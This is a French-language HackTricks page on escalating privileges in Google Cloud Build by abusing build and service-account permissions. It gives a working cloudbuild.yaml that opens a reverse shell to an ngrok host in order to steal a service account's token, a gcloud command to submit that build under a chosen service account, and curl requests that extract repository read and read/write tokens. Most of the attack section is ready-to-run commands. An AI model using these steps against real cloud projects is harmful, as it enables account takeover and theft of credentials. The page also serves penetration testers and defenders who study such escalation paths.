GCP - Cloudbuild Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

cloudbuild

Pour plus d’informations sur Cloud Build, consultez :

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Avec cette permission, vous pouvez soumettre un cloud build. La machine cloudbuild aura dans son systĂšme de fichiers par dĂ©faut un token du Service Account cloudbuild : <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Cependant, vous pouvez indiquer n’importe quel service account Ă  l’intĂ©rieur du projet dans la configuration cloudbuild.
Par consĂ©quent, vous pouvez simplement faire en sorte que la machine exfiltrate vers votre serveur le token ou obtenir un reverse shell Ă  l’intĂ©rieur et rĂ©cupĂ©rer le token (le fichier contenant le token peut changer).

Direct exploitation via gcloud CLI

1- Créez cloudbuild.yaml et modifiez-le avec les données de votre listener

Configuration YAML Cloud Build pour reverse shell ```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```

2- Téléversez une build simple sans source, le fichier yaml et spécifiez le SA à utiliser pour la build :

Soumettre une Cloud Build avec le service account spécifié ```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com ```

Utilisation de la bibliothĂšque python gcloud

Vous pouvez trouver le script d’exploit original here on GitHub (mais l’emplacement depuis lequel il rĂ©cupĂšre le token n’a pas fonctionnĂ© pour moi). Consultez donc un script pour automatiser la creation, exploit and cleaning of a vuln environment here et un script python pour obtenir une reverse shell Ă  l’intĂ©rieur de la machine cloudbuild et steal it here (dans le code vous pouvez trouver comment spĂ©cifier d’autres service accounts).

Pour une explication plus approfondie, consultez https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

Avec cette permission, l’utilisateur peut obtenir le read access token utilisĂ© pour accĂ©der au dĂ©pĂŽt :

Obtenir le read access token pour le dépÎt ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken" ```

cloudbuild.repositories.accessReadWriteToken

Avec cette permission, l’utilisateur peut obtenir le jeton d’accĂšs en lecture et Ă©criture utilisĂ© pour accĂ©der au dĂ©pĂŽt:

Obtenir le jeton d'accÚs en lecture et écriture pour le dépÎt ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken" ```

cloudbuild.connections.fetchLinkableRepositories

Avec cette permission, vous pouvez obtenir les repos auxquels la connection a accĂšs :

RĂ©cupĂ©rer les dĂ©pĂŽts pouvant ĂȘtre liĂ©s ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories" ```

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks